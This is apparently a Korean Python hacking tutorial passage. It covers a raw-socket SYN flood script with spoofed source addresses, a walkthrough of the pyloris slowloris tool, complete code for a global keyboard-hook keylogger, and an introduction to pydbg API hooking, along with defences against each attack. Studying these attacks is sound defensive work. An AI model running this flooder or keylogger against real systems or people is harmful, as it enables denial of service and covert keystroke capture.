IP와 TCP 헤더 설정

일반적인 소켓 통신에서는 IP와 TCP 헤더를 커널에서 자동으로 지정해 준다 하지만 로 소켓을 사용해서 SYN 패킷만을 전송하려면 프로그램 작성자가 직접 헤더를 만들어 줘야 한다 파이썬에서 내부적으로 C 언어의 기능을 사용하려면 C 언어에서 사용하는 헤더 파일과 같은 형태로 만드는 작업이 필요하다 먼저 IP 헤더 파일을 살펴보면 다음과 같다

 

ip 헤더

 

Version부터 Destination Address까지 총 20바이트로 구성되어 있다 Version은 IPv4를 의미하는 4를 넣고 IHL은 전체 헤더 길이를 의미하는데 32비트 단위 몇 개가 들어가는 것을 표시한다 여기서 5를 넣으면 20바이트를 의미한다 Identification은 임의의 값을 집어넣고 Flags와 Fragment Offset 값은 동시에 0을 설정한다 Time to Live는 네트워크에서 지원하는 Max 값인 255를 입력하고 Protocol은 socket.IPPROTO_TCP를 설정한다 Total Length와 Header Checksum은 패킷 전송 시점에 커널에서 입력해 준다

 

 

이제 TCP 헤더를 설정해 본다 IP는 주소를 지정하지만 TCP는 통신에 사용할 포트를 지정한다 그리고 TCP 패킷의 종류를 Flags 값을 통해 설정한다 SYN 플러드 공격에서는 SYN 패킷만을 대량으로 전송하게 되므로 SYN 값만 1로 설정하고 나머지는 0으로 지정한다

 

tcp 헤더

 

Source Port에는 임의의 값을 넣고 Destination Port에는 공격 대상인 80을 설정한다 Sequence Number와 Acknowledgment Number에도 임의의 값을 설정한다 DataOffset는 어디서 헤더가 끝나는지를 의미하는데 32비트 단위를 의미하므로 5를 설정하면 20바이트 헤더 길이를 의미한다 Flags 값은 SYN만 1로 설정하면 된다 Window에는 프로토콜에서 허용하는 최대 윈도우 사이즈인 5840을 설정한다 Checksum은 패킷 전송 후 커널에서 자동으로 설정해 준다

 

IP 헤더와 TCP 헤더를 설정하려면 파이썬에서 사용하는 문자를 C 어어 구조체로 변환해 줘야 한다 파이썬에서는 struct 모듈에서 제공하는 pack() 함수를 사용해서 쉽게 변환할 수 있다 파이썬 형을 C 언어의 적절한 형으로 지정하려면 다음과 같은 형식 문자(Format Character)를 사용한다

 

형식 C 형 Python 형 표준 크기
x pad byte no value  
c char string of length 1  1
b signed char  integer 1
B unsigned char integer 1
? Bool bool 1
h short integer 2
H unsigned short integer 2
i int integer 4
I unsigned int integer 4
l long integer 4
L unsigned long integer 4
q long long integer 8
Q unsigned long long integer 8
f float float 4
d double  float 8
s char[] string  
p char[] string  
P void * integer  

 

 

TCP SYN 플러드 

파이썬 소켓 모듈은 다양한 함수를 제공한다 가장 기본적인 방식은 연결이 설정된 후에 데이터를 전송하는 것이다 TCP 프로토콜에서는 3웨이 핸드셰이킹이 완료된 후에 데이터를 전송하지만 TCP SYN 플러드 공격을 위해서는 통신 연결이 설정되기 전에 데이터를 전송해야 하므로 별도의 함수를 사용해서 데이터를 전송해야 한다

 

import socket, sys
from struct import *

def makeChecksum(msg):                                                #(1)
    s = 0
    for i in range(0, len(msg), 2):
        w = (ord(msg[i]) << 8) + (ord(msg[i+1]) )
        s = s + w
    s = (s>>16) + (s & 0xffff);
    s = ~s & 0xffff
    return s

def makeIPHeader(sourceIP, destIP):                                   #(2)
    version = 4
    ihl = 5
    typeOfService = 0
    totalLength = 20+20                                          
    id = 999                
    flagsOffSet = 0
    ttl =  255               
    protocol = socket.IPPROTO_TCP                             
    headerChecksum = 0             
    sourceAddress = socket.inet_aton ( sourceIP )
    destinationAddress = socket.inet_aton ( destIP )
    ihlVersion = (version << 4) + ihl
    return pack('!BBHHHBBH4s4s' , ihlVersion, typeOfService, totalLength, id, flagsOffSet,
                                  ttl, protocol, headerChecksum, sourceAddress, destinationAddress)   #(3)

def makeTCPHeader(port, icheckSum="none"):                            #(4)
    sourcePort = port                                            
    destinationAddressPort = 80                                 
    SeqNumber = 0
    AckNumber = 0
    dataOffset = 5                                                
    flagFin = 0
    flagSyn = 1                                                   
    flagRst = 0
    flagPsh = 0
    flagAck = 0
    flagUrg = 0

    window = socket.htons (5840)   

    if(icheckSum == "none"):
        checksum = 0
    else:
        checksum = icheckSum

    urgentPointer = 0
    dataOffsetResv = (dataOffset << 4) + 0
    flags = (flagUrg << 5)+ (flagAck << 4) + (flagPsh <<3)+ (flagRst << 2) + (flagSyn << 1) + flagFin
    return pack('!HHLLBBHHH', sourcePort, destinationAddressPort, SeqNumber, 
AckNumber, dataOffsetResv,  flags,  window, checksum, urgentPointer)             #(5)

s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP)           #(6)
s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)                            #(7)

for j in range(1,20):                                                            #(8)
        for k in range(1,255):
                for l in range(1,255):
                        sourceIP = "169.254.%s.%s"%(k,l)                         #(9)
                        destIP = "169.254.175.80"   

                        ipHeader  = makeIPHeader(sourceIP, destIP)               #(10)
                        tcpHeader = makeTCPHeader(10000+j+k+l)                   #(11)

                        sourceAddr = socket.inet_aton( sourceIP )                #(12)
                        destAddr = socket.inet_aton(destIP)

                        placeholder = 0
                        protocol = socket.IPPROTO_TCP
                        tcpLen = len(tcpHeader)
                        psh = pack('!4s4sBBH', sourceAddr, destAddr, placeholder, protocol, tcpLen);
                        psh = psh + tcpHeader;
                        tcpChecksum = makeChecksum(psh)                          #(13)

                        tcpHeader = makeTCPHeader(10000+j+k+l,tcpChecksum)       #(14)

                        packet = ipHeader + tcpHeader                                       
                        s.sendto(packet, (destIP , 0 ))                          #(15)

 

프로그램을 실행하고 패킷이 전송되는 결과는 해커 PC에 설치된 와이어샤크 프로그램과 서버 PC의 명령 창에서 netstat -n -p tcp 와 같은 명령어로 확인할 수 있다 

 

  1. TCP 체크섬 계산 함수 선언 : 송신된 자료의 무결성을 보호하는 데 사용되는 TCP 체크섬을 계산한다 TCP 체크섬 계산에 사용되는 헤더와 데이터를 16비트 단위로 나누어서 비트 합을 구한 뒤 이에 대한 보수를 취함으로써 계산할 수 있다
  2. IP 헤더 생성 함수 선언 : IP 헤더를 생성한다
  3. IP 헤더 구조체 생성 : pack() 함수를 사용해서 C 언어에서 사용되는 구조체 형식으로 변환한다
  4. TCP 헤더 생성 함수 선언 : TCP 헤더를 생성한다
  5. TCP 헤더 구조체 생성 : pack() 함수를 사용해서 C 언어에서 사용되는 구조체 형식으로 변환한다
  6. 로 소켓 생성 : 개발자가 IP 헤더와 TCP 영역을 임의대로 생성할 수 있는 소켓 객체를 생성한다
  7. 소켓 옵션 설정 : 개발자가 IP 헤더를 생성할 수 있도록 소켓의 옵션을 조정한다
  8. 반복문 : 대량의 SYN 패킷을 발송하기 위해 반복문을 사용한다
  9. IP 설정 : 발송자 IP와 수신자 IP를 지정한다 발송자는 테스트의 용이성을 위해 매번 변경되도록 작성한다 수신자 IP는 socket.gethostbyname('server')와 같은 방식으로 설정할 수 있다
  10. IP 헤더 생성 : 해당 함수를 호출하여 IP 헤더를 만들고 C 언어 구조체 형식으로 반환한다
  11. TCP 헤더 생성 : TCP 헤더 생성 함수를 호출한다 처음에는 TCP 체크섬을 구하기 위한 의사 TCP 헤더를 생성하고 포트 번호는 임의 사용이 가능한 10000번 이상으로 넣어 준다
  12. IP 구조체 변환 : inet_aton() 함수를 사용해서 문자열 데이터를 in_addr 구조체로 변환한다
  13. TCP 체크섬 계산 : 해당 함수를 호출해서 TCP 체크섬을 계산한다
  14. TCP 헤더 생성 : TCP 체크섬을 설정해서 전송할 실제 TCP 헤더를 생성한다
  15. 패킷 전송 : IP 헤더와 TCP 헤더를 세팅해서 TCP SYN 패킷을 전송한다 sendto() 메서드는 연결 설정이 완료되기 전에 일방적으로 송신자에게 패킷을 전송할 수 있는 기능을 지원한다

 

프로그램을 실행하고 서버 PC의 명령 창에 netstat -n -p tcp 명령어를 입력하면 다음과 같은 결과를 얻을 수 있다

맨 오른쪽 부분(SYN_RECEVED)이 패킷의 연결 상태를 나타내는 부분인데 현재 SYN 패킷을 받은 상태이고 서버에서 ACK/SYN 패킷을 보내기 전이다 아래와 같은 상태의 연결이 수천 개 이상 생성되며 일정 기간 시스템에서 해당 상태를 저장하려고 시스템 자원을 소모하게 된다 대량의 SYN 패킷이 전송되면 서비스의 수행이 느려지거나 서비스 불능 상태에 빠지게 된다

 

TCP 헤더 파일

 

TCP SYN 플러드 공격으로 시스템이 서비스 불능에 빠지는 경우는 백로그 큐가 가득 차는 경우이다 따라서 일차적으로 백로그 큐의 용량을 늘려줌으로써 공격에 대해 방어할 수 있다 다른 하나의 방법은 syncookies 기능을 사용하는 것인데 3웨이 핸드셰이킹이 완료된 시점에서 시스템 자원을 할당하는 기술이다 라우터나 방화벽에서도 공격을 차단할 수 있다 인터셉트 모드와 워처 모드가 존재하는데 전자는 라우터가 SYN 패킷을 받아서 클라이언트와 연결이 완료된 후 클라이언트와 서버를 연결해주는 방식이다 후자는 라우터가 연결 상태를 모니터링 해서 일정 시간 동안 연결이 완료되지 않으면 임의로 중단시키는 방법이다

 

 

 

DoS : 슬로로리스 공격

슬로로리스 공격의 기본 개념

웹 서버의 일반적인 동작은 클라이언트에서 올라오는 HTTP 요청 헤더를 분석해서 요청을 처리하고 클라이언트에 응답을 보낸 후 연결을 종료하게 된다 웹 서버는 자원의 효율적인 사용을 위해 최대로 접속할 수 있는 클라이언트 수를 제한하고 있다 이는 CPU, 메모리, HDD와 같은 물리적인 자원이 아니라 웹 서버 내부에서 관리하는 논리적인 자원이다 슬로로리스 공격(Slowloris Attack)은 바로 최대 접속 연결 수를 최대치로 사용하게 함으로써 웹 서버를 서비스 불능 상태로 만드는 공격이다

 

정상적인 서비스 요청이라면 몇 초 내에 서비스를 완료하고 연결을 종료하게 된다 HTTP 플러드와 같은 DoS 공격은 대량의 서비스 요청을 발생시켜야 하므로 수많은 좀비 PC가 필요하다 하지만 슬로로리스 공격은 한 대의 PC만으로도 웹 서버 기능을 마비시킬 수 있는 강력한 공격이다 공격 원인 분석에 많이 사용되는 웹 서버의 로그는 헤더 파일 분석인 끝나는 시점에 기록되기 때문에 슬로로리스 공격은 로그 파일에 기록을 남기지 않는다 그만큼 탐지가 어려운 공격에 해당한다

 

정상적인 HTTP 헤더는 /r/n/r/n 으로 종료된다 웹 서버에서도 /r/n/r/n을 찾아서 헤더를 분석하고 서비스를 처리한다 슬로로리스 공격에 사용되는 헤더는 일반적으로 /r/n으로만 종료된다 웹 서버는 헤더의 종료 시점을 알지 못하므로 정상적인 헤더 분석을 하지 못하고 연결도 계속 열린 상태로 유지한다 공격을 시작한 지 수분 이내에 웹 서버가 서비스 불능 상태에 빠지는 것을 확인할 수 있다

 

 

슬로로리스 공격의 실행

pyloris 모듈 설치

슬로로리스 공격은 최초에 펄 스크립트로 만들어졌다 파이썬에서는 웹 서버와 방화벽 취약성 탐지를 위해 pyloris 라는 모듈을 제공한다 

 

 

pyloris 모듈 실행

내려받은 모듈을 C:\ 디렉터리 아래에 압축을 푼다 윈도우 명령 창을 실행시켜서 pyloris 디렉터리로 이동한 후 다음과 같은 명령어를 실행한다

python pyloris.py

pyloris는 General, Behavior, Proxy, Request Body로 구분된 UI를 제공한다 슬로우리스 공격을 위해서 주의 깊게 봐야 할 부분은 General과 Behavior 영역이다

 

 

pyloris 모듈 실행

 

General에서는 공격대상 서버와 포트를 지정한다 여기에서는 서버 PC와 포트 80을 지정한다

Behavior은 공격을 수행하는 환경 설정 부분이다 

Request Body는 공격 대상 서버로 전송할 HTTP 프로토콜 내용을 보여준다 

모든 설정이 종료되면 Launch 버튼을 클릭해서 공격을 시작할 수 있다

 

Behavior의 역할은 다음과 같다

  • Attack Limit : 하나의 세션에서 생성할 수 있는 전체 연결 수(현재+종료)를 지정
  • Connection Limit : 하나의 세션에서 동시에 사용할 수 있는 전체 연결 수를 지정
  • Thread Limit : 하나의 세션에서 운영할 수 있는 전체 스레드의 개수를 결정
  • Connection Speed : 각각의 연결 속도를 지정하며 단위는 bytes/second
  • Time between thread spawns : 스레드를 생성할 때 사용하는 지연 시간을 지정
  • Time between connections : 소켓 연결을 생성할 때 사용하는 지연 시간을 지정

 

Launch 버튼을 클릭해서 공격을 실행해 본다 결과 화면은 두 개의 영역으로 구분되어 있는데 

Status 영역은 현재 수행되는 공격의 상태를 보여준다 Attacks는 현재 사용중인 Connection의 개수이며 Threads는 지금까지 생성한 스레드의 개수를 의미한다 Log 영역은 공격을 수행하는 프로그램의 로그를 보여준다

 

pyloris Launch Status

 

공격을 수행하고 1분 정도 지난 후에 서버 PC에서 네트워크 상태를 모니터링해 본다

간단하게 윈도우 명령 창을 열어서 netstat -n -p TCP 명령을 수행한다 그러면 다음과 같이 현재 TCP 연결 상태를 화면에 보여준다

 

서버 PC 네트워크 상태

 

현재 연결 중인 Connection의 수를 눈으로 확인하기에는 수가 너무 많으므로 다음 명령어를 통해 개수를 확인해 본다 

netstat -n -p tcp | find /c "TCP"

수행 결과는 pyloris 프로그램의 Status 영역에 있는 Attacks 수와 일치하게 나온다 보통 300개 이상의 결과가 나오는데 이 정도면 80 포트를 사용하는 웹 서비스는 불능 상태에 빠지게 된다

 

 

웹 서비스 호출 결과

 

테스트 종료를 위해 Status 영역의 Stop Attack 버튼을 클릭한다 모든 연결이 종료되고 웹 서버는 다시 정상 서비스로 복귀하게 된다

 

슬로로리스 공격은 웹 서버에 로그를 남기지 않기 때문에 탐지가 쉽지 않다 웹 서버의 하드웨어(CPU, Memory) 사양을 올려서 최대 연결(Max Connection) 개수를 늘리거나 하나의 IP에서 들어올 수 있는 연결의 개수를 제한하는 방법으로 1차적인 방어는 가능하다 2차적으로는 웹 방화벽과 같은 7계층을 확인할 수 있는 보안 장비를 설치해서 오류가 있는 헤더의 유입을 차단할 수 있다


윈도우 애플리케이션을 파이썬으로 해킹하려면 윈도우 API에 대한 기본 지식이 필요하다

윈도우 API는 마이크로소프트에서 제공하는 응용 프로그래밍 인터페이스(Application Programming Interface API)모음이다

애플리케이션을 개발하려면 윈도우 API를 통해 운영체제(커널)에서 지원하는 다양한 기능을 활용해야 한다

일반적으로 많이 사용하는 32bit 윈도우 환경에서는 Win32라는 윈도우 API를 지원한다

 

윈도우 애플리케이션을 개발할 때는 lib와 DLL 형태의 라이브러리를 사용한다 lib는 정적 라이브러리로 윈도우 실행 파일인 exe 파일이 생성될 때 같이 포함된다

DLL(Dynamically Linked Libraries)는 동적 라이브러리로써 애플리케이션 실행 시점에 기능이 호출되는 방식으로 사용된다

Win32 API는 대부분 DLL 형식으로 지원되며 대표적으로 다음과 같은 DLL이 존재한다

 

종류 특징
kernel32.dll 파일 시스템, 디바이스, 프로세스, 스레드와 같은 기초적인 리소스에 대한 접근 기능 지원
user32.dll 사용자 인터페이스를 담당하는 기능을 지원, 윈도우 창의 생성 및 관리, 윈도우 메시지의 수신, 화면에 텍스트 표현, 메시지 박스 표현
advapi32.dll 레지스트리, 시스템 종료와 재시작, 윈도우 서비스의 시작/종료/생성, 계정 관리 등의 기능 지원
gdi32.dll 모니터, 프린터 그리고 기타 출력 장치에 대한 관리 기능 지원
comdlg32.dll 파일 열기, 파일 저장, 색상 및 폰트 선택과 관련된 표준 대화 창 관리 기능 지원
comctl32.dll 상태 바, 진행 바, 툴 바 등과 같은 운영체제에서 지원하는 기능에 대한 응용 프로그램의 접근지원
shell32.dll 운영체제의 셸(shell)에서 제공하는 기능을 응용 프로그램이 접근할 수 있도록 지원
netapi32.dll 운영체제에서 지원하는 다양한 통신 기능을 응용 프로그램이 접근할 수 있도록 지원

윈도우용 개발 언어(비주얼 스튜디오, 비주얼 C++, C#등)는 Win32 API를 직접 호출해서 사용할 수 있다

Win32 API는 저 수준의 운영체제 기능을 제어할 수 있는 다양한 인터페이스를 제공하기 때문에 애플리케이션 개발뿐만 아니라 디버깅 및 해킹 프로그램 개발에 많이 사용된다


ctypes를 활용한 메시지 후킹

 

 

파이썬에서 WIn32  API 활용하기

파이썬에서 윈도우 운영체제에서 제공하는 강력한 기능을 활용하려면 Win32 API를 활용해야 한다

파이썬 2.7 버전에서는 ctypes 모듈을 기본적으로 제공하므로 DLL의 호출과 C 언어 변수형을 활용할 수 있다

 

Win32 API와 ctypes를 처음 접하는 사람이라면 ctypes를 이용해서 Win32 API를 호출하는 것이 다소 어렵다

함수 호출 구조와 반환 값에 대한 처리 그리고 데이터 형 등을 알아야 할 내용이 적지 않다

하지만 ctypes는 다양한 운영체제에서 지원하는 네이티브 라이브러리(Native Library)를 사용할 수 있는 강력한 도구다

기본적인 기능만을 활용한다면 파이썬 모듈을 아주 쉽게 활용할 수 있다 하지만 모듈을 활용해서 고급 해킹 기술을 구현하려면 기본적으로 ctypes에 대한 개념을 반드시 이해하고 있어야 한다

ctypes는 윈도우, 리눅스, 유닉스, OS X, 안드로이드 등 다양한 플랫폼을 지원하는 도구이다

 

 

ctypes 모듈의 기본 개념

ctypes는 동적 라이브러리 호출 절차를 단순화하고 복잡한 C 데이터 형을 지원하며 로우 레벨 함수를 제공하는 장점이 있다 ctypes를 활용해서 함수 호출 규약만 준수하면 MSDN에서 제공하는 API를 직접 호출할 수 있다

 

  • DLL 로딩 : ctypes는 다양한 호출 규약(Calling Convention)을 지원한다 ctypes는 cdll, windll, oldell 호출 규약을 지원한다 cdll은 cdecl 호출 규약을 지원하고 windll은 stdcall 호출 규약을 지원하며 oldell은 windll과 동일한 호출 규약을 지원하지만 반환 값을 HRESULT로 가정한다는 차이점이 있다 (windll.kernel32, windll.user32)
  • Win32 API 호출 : DLL 이름 뒤에 호출하고자 하는 함수명을 붙여 준다 (windll.user32. SetWindowsHookExA) API 호출할 때 전달하는 인자의 자료형을 지정할 수 있다 (printf.argtypes=[c_char_p, c_char_p, c_int, c_double]) 함수의 반환 값 형식을 지정할 수 있다 (libc.strchr.restype=c_char_p)
  • 자료형 : 파이썬은 ctypes 모듈에서 제공하는 자료형을 이용해서 C 언어의 자료형을 사용할 수 있다 C 언어의 정수형을 사용하려면 다음과 같이 ctypes을 활용한다 (i=c_int(42) print i.value()) 주소를 저장하는 포인터형을 선언해서 사용할 수 있다 (PI=POINTER(c_int))
  • 포인터의 전달 : 함수의 인자로 포인터(값의 주소)를 전달할 수 있다 
  • 콜백 함수 : 특정 이벤트가 발생하는 함수인 콜백 함수를 선언해서 전달할 수 있다
  • 구조체 : Structure 클래스를 상속받아 구조체 클래스를 선언할 수 있다

Win32 API를 호출할 때 인자를 넘겨줘야 하는 경우가 많이 있다 파이썬에서 사용하는 데이터를 그대로 전달할 경우 Win32 API는 데이터를 제대로 인식할 수 없으므로 약속된 동작을 수행할 수 없다 이러한 문제를 해결하기 위해 ctypes는 형 변환 기능을 제공한다 형 변환이란 파이썬 자료형을 Win32 API에서 사용하는 자료형으로 바꿔주는 기능이다 예를 들어 sscanf() 함수를 호출할 때 인자로 float형 포인터가 필요한데 ctypes에서 제공하는 c_float로 형 변환하면 함수를 올바르게 호출할 수 있다 매핑 테이블은 다음과 같다

 

ctypes 형 c 형 python 형
c_char char 1-character string
c_wchar wchar_t 1-character unicode string
c_byte char int/long
c_ubyte unsigned char int/long
c_short short int/long
c_ushort unsigned short int/long
c_int int int/long
c_uint unsigned int int/long
c_long long int/long
c_ulong unsigned long int/long
c_longlong _int 64 , longlong int/long
c_ulonglong unsigned _int 64 , unsigned longlong int/long
c_float float float
c_double double float
c_char_p char *(NUL terminated) string , None
c_wchar_p wchar *(NUL terminated) unicode , None
c_void_p void * int/long , None

 

키보드 후킹

user32.dll에서 제공하는 SetWindowsHookExA() 함수를 사용하면 훅(Hook)을 설정할 수 있다 

운영체제는 메시지나 마우스 클릭, 키보드 입력과 같은 이벤트를 중간에 가로채는 메커니즘을 제공하는데 이것을 훅이라 한다 그리고 이러한 메커니즘을 기능적으로 구현한 것을 훅 프로시저(또는 콜백 함수)라고 한다 

운영체제는 하나의 훅 타입(마우스 클릭, 키보드 입력 등)에 여러 개의 훅 프로시저가 설정되도록 지원하며 훅 체인을 통해 리스트를 관리한다 훅 체인은 훅 프로시저에 대한 포인터들의 목록이다

 

훅은 지역 훅(Local Hook)과 전역 훅(Global Hook) 두 가지 종류가 있다 지역 훅은 특정 스레드에 대해 훅을 설정하는 것이며 전역 훅은 운영체제에 실행되는 모든 스레드에 대해 훅을 설정하는 것이다 예를 들어 훅 타입이 키보드 입력일 경우 전역 훅을 설정했다고 가정하면 모든 키보드 입력에 대해 훅 프로시저가 호출된다 즉 사용자의 모든 키보드 입력을 감시할 수 있다는 것이다 만약 지역 훅이 설정됐다면 해당 스레드가 관리하는 윈도우가 활성화된 경우에만 키보드 입력에 대한 훅 프로시저가 호출된다

 

  1. 훅 설정 : user32.dll의 SetWindowsHookExA() 함수를 통해 훅을 설정할 수 있고 메시지를 처리할 훅 프로시저(콜백 함수)를 등록할 수 있다
  2. 훅 체인 등록 : 등록된 훅 프로시저는 훅 체인으로 관리되며 훅 체인의 맨 앞자리에 훅 프로시저의 포인터가 등록된다 이제 키보드 입력 타입의 메시지가 해당 스레드 큐에 입력되기를 기다린다
  3. 키보드 입력 : 사용자는 키보드를 사용해서 원하는 메시지를 컴퓨터에 입력한다 키보드에 있는 컨트롤러가 컴퓨터가 인식할 수 있는 신호로 변환해서 키보드 드라이버로 전달한다
  4. 시스템 큐 :키보드에서 들어 온 메시지는 운영체제에서 관리하는 시스템 큐로 입력되고 메시지 처리를 담당하는 스레드 큐로 입력되는 것을 기다린다
  5. 스레드 큐 : 메시지를 처리할 스레드 큐로 입력된 메시지는 해당 윈도우로 보내지지 않고 훅 체인에서 관리되는 첫 번째 포인터에 해당하는 훅 프로시저로 보내진다
  6. 메시지 후킹 : 스레드 큐로부터 온 메시지는 훅 체인의 첫 번째 항목에 있는 포인터로 전달된다(실제는 포인터가 가리키는 훅 프로시저)
  7. 훅 프로시저 : 훅 프로시저는 메시지를 받아 프로그래머가 지정한 동작을 수행한다 대부분의 해킹 코드가 훅 프로시저에 기술된다 작업이 종료되면 메시지를 훅 체인의 다음 포인터로 전달한다 콜백 함수라고 불리기도 한다
  8. 훅 체인의 포인터 : 훅 체인에 연결된 포인터에 해당하는 훅 프로시저에 차례대로 메시지를 전달한다 마지막 훅 프로시저가 메시지를 처리한 후 최종적으로 원래 지정된 윈도우로 메시지를 전달한다

훅이 설정되면 큐를 지속적으로 모니터링 한다 따라서 시스템에 많은 부하를 주게 되므로 목적을 달성한 다음에는 반드시 훅을 제거해서 성능에 대한 영향을 최소화해야 한다 

 

*MessageHooking.py

import sys
from ctypes import *
from ctypes.wintypes import MSG
from ctypes.wintypes import DWORD

user32 = windll.user32     #windll 사용 : windll을 사용해서 user32와 kernel32형 변수를 선언한다
kernel32 = windll.kernel32 #해당 DLL에서 제공하는 함수를 사용할 때 (user32.API명,kernel32.API명)

WH_KEYBOARD_LL=13 #변수 선언 : Win32 API 내부에서 정의해서 사용하는 변숫값들은 MSDN이나 검색을 통해 확인
WM_KEYDOWN=0x0100
CTRL_CODE = 162

class KeyLogger:  #클래스 정의 : 훅을 설정하고 해제하는 기능을 가진 클래스를 정의한다
    def __init__(self):
        self.lUser32 = user32
        self.hooked = None
        
    def installHookProc(self, pointer): #훅 설정 함수 정의 : user32 DLL의 SetWindowsHookExA()함수를
        self.hooked = self.lUser32.SetWindowsHookExA( #사용해서 훅을 설정한다 모니터링할 이벤트는
                      WH_KEYBOARD_LL,                 #WH_KEYBOARD_LL이며 범위는 운영체제에서 실행되는
                      pointer,                        #모든 스레드로 설정한다
                      kernel32.GetModuleHandleW(None),
                      0
        )
        if not self.hooked:
            return False
        return True
        
    def uninstallHookProc(self):        #훅 해제 함수 정의 : user32 DLL의 UnhookWindowsHookEx()
        if self.hooked is None:         #함수를 사용해서 설정된 훅을 해제한다
            return
        self.lUser32.UnhookWindowsHookEx(self.hooked)
        self.hooked = None
        
def getFPTR(fn):                        #함수 포인터 도출 : 훅 프로시저를 등록하려면 함수의 포인터 전달
    CMPFUNC = CFUNCTYPE(c_int, c_int, c_int, POINTER(c_void_p))
    return CMPFUNC(fn)                  #CFUNCTYPE()함수를 통해 SetWindowsHookExA()함수에서 요구하는
                                        #훅 프로시저의 인자와 인자형을 지정한다 CMPFUNC() 함수를 통해
                                        #내부에서 선언한 함수의 포인터를 구한다

def hookProc(nCode, wParam, lParam):    #훅 프로시저 정의 : 훅 프로시저는 이벤트가 발생했을 때
    if wParam is not WM_KEYDOWN:        #사용자 단에서 처리를 담당하는 콜백 함수다
        return user32.CallNextHookEx(keyLogger.hooked, nCode, wParam, lParam)
    hookedKey = chr(lParam[0])          #들어온 메시지의 종류가 WM_KEYDOWN에 해당하면 
    print hookedKey                     #메시지 값을 화면에 프린트해주고 메시지값이 Ctrl 키의 값과
    if(CTRL_CODE == int(lParam[0])):    #일치하면 훅을 제거한다 처리가 끝나면 훅 체인에 있는
        print "Ctrl pressed, call uninstallHook()"
        keyLogger.uninstallHookProc()   #다른 훅 프로시저에게 제어권을 넘겨준다 CallNextHookEx()함수
        sys.exit(-1)
    return user32.CallNextHookEx(keyLogger.hooked, nCode, wParam, lParam)
    
def startKeyLog():                      #메시지 전달 : GetMessageA()함수는 큐를 모니터링하고 있다가
    msg = MSG()                         #큐에 메시지가 들어오면 메시지를 꺼내서 훅 체인에 등록된
    user32.GetMessageA(byref(msg),0,0,0)#맨 처음의 훅으로 전달하는 역할을 한다
    
keyLogger = KeyLogger()                 #메시지 후킹 시작 : 먼저 KeyLogger 클래스를 생성한다
pointer = getFPTR(hookProc)             #installHookProc() 함수를 호출하여 훅을 설정하면서
if keyLogger.installHookProc(pointer):  #동시에 훅 프로시저를 등록한다 큐에 들어온 메시지를
    print "installed keyLogger"         #훅 체인으로 전달하기 위해 startKeyLog()함수를 호출한다
    
startKeyLog()

* 만약 실행이 안된다면 파이썬 3.x 버전을 사용합니다

import sys
from ctypes import *
from ctypes.wintypes import MSG
from ctypes.wintypes import DWORD


user32 = windll.user32                                                            
kernel32 = windll.kernel32

WH_KEYBOARD_LL=13                                                                 
WM_KEYDOWN=0x0100
CTRL_CODE = 162

class KeyLogger:                                                                  
    def __init__(self):
        self.lUser32     = user32
        self.hooked     = None
    
    def installHookProc(self, pointer):                                           
        self.hooked = self.lUser32.SetWindowsHookExA( 
                        WH_KEYBOARD_LL, 
                        pointer, 
                        kernel32.GetModuleHandleW(None), 
                        0
        )
        if not self.hooked:
            return False
        return True
    
    def uninstallHookProc(self):                                                  
        if self.hooked is None:
            return
        self.lUser32.UnhookWindowsHookEx(self.hooked)
        self.hooked = None

def getFPTR(fn):                                                                  
    CMPFUNC = CFUNCTYPE(c_int, c_int, c_int, POINTER(c_void_p))
    return CMPFUNC(fn)

def hookProc(nCode, wParam, lParam):                                              
    if wParam is not WM_KEYDOWN:
        return user32.CallNextHookEx(keyLogger.hooked, nCode, wParam, lParam)
    hookedKey = chr(lParam[0])
    print (hookedKey)
    if(CTRL_CODE == int(lParam[0])):
        print ("Ctrl pressed, call uninstallHook()")
        keyLogger.uninstallHookProc()
        sys.exit(-1)
    return user32.CallNextHookEx(keyLogger.hooked, nCode, wParam, lParam)     

def startKeyLog():                                                                 
     msg = MSG()
     user32.GetMessageA(byref(msg),0,0,0)
    
keyLogger = KeyLogger() #start of hook process                                   
pointer = getFPTR(hookProc) 

if keyLogger.installHookProc(pointer):
    print ("installed keyLogger")

startKeyLog()
 

 

 

test@gmail.com을 입력한다

프로그램 실행 콘솔 창

 

pydbg 모듈을 활용한 API 후킹

Win32 API를 활용하기 쉽게 만든 디버거 모듈인 pydbg를 활용해 본다 올바른 pydbg 모듈의 활용을 위해서는 디버거의 기본 개념부터 이해해야 한다

 

디버거의 개념

디버거는 프로세스 동작을 잠시 멈추고 실행되는 일종의 인터럽트 서브루틴이다 디버거의 수행이 끝나면 프로세스는 다시 정해진 로직을 계속 수행한다 디버거는 디버깅을 원하는 명령어에 중단점(Breakpoint)을 설정하고 이벤트 발생을 지속적으로 모니터링한다 운영체제는 명령어 처리 시 중단점이 발견되면 지정된 콜백 함수(Callback Function)를 호출한다

 

보통 디버거를 이용한 해킹에서는 콜백 함수에 원하는 해킹 스크립트를 배치한다 대표적으로 API 후킹(API Hooking)기법이 있다 프로그램에서 데이터를 저장하는 함수를 호출할 때 메모리에 있는 값을 변경하면 파일에 저장되는 데이터를 조작할 수 있다

 

디버거가 동작하는 프로세스를 간단하게 살펴보면 단계별로 Win32 API를 사용할 수 있다 파이썬에서는 ctypes를 통해서 단계별로 Win32 API를 호출하거나 pydbg 모듈을 사용해서 간단하게 디버깅할 수 있다

 

  1. PID 얻기 : 실행 중인 프로세스는 고유한 아이디(PID Process ID)를 가지고 있으며 이는 운영체제에서 프로세스에게 할당하는 식별 번호다 Win32 API를 통해 디버깅을 원하는 프로세스의 PID를 얻을 수 있다
  2. 명령어 주소 얻기 : 해당 프로세스 주소 공간에 매핑하고 있는 모든 모듈의 목록을 조사해서 중단점을 지정하고자 하는 함수의 주소를 얻는다
  3. 중단점 설정 : 명령 코드의 처음 두 바이트를 CC로 대체해서 중단점을 설정한다 디버거는 내부적으로 관리하는 중단점 리스트에 원본 명령 코드를 저장해서 본래의 처리 프로세스로 돌아가는 데 전혀 문제가 없다
  4. 콜백 함수 등록 : 중단점이 설정된 명령 코드를 실행하면 디버그 이벤트가 발생한다 운영체제는 인터럽트를 발생시키고 인터럽트 서브루틴을 수행하기 시작한다 인터럽트 서브루틴은 바로 프로그래머가 등록한 콜백 함수다
  5. 디버그 이벤트 대기 : Win32 API를 사용해서 디버그 이벤트가 발생하는 것을 무한정 기다린다 콜백 함수 호출을 기다리게 된다
  6. 디버그 이벤트 발생 : 디버깅 대상인 프로세스가 실행 도중에 중단점을 만나게 되면 인터럽트가 발생한다
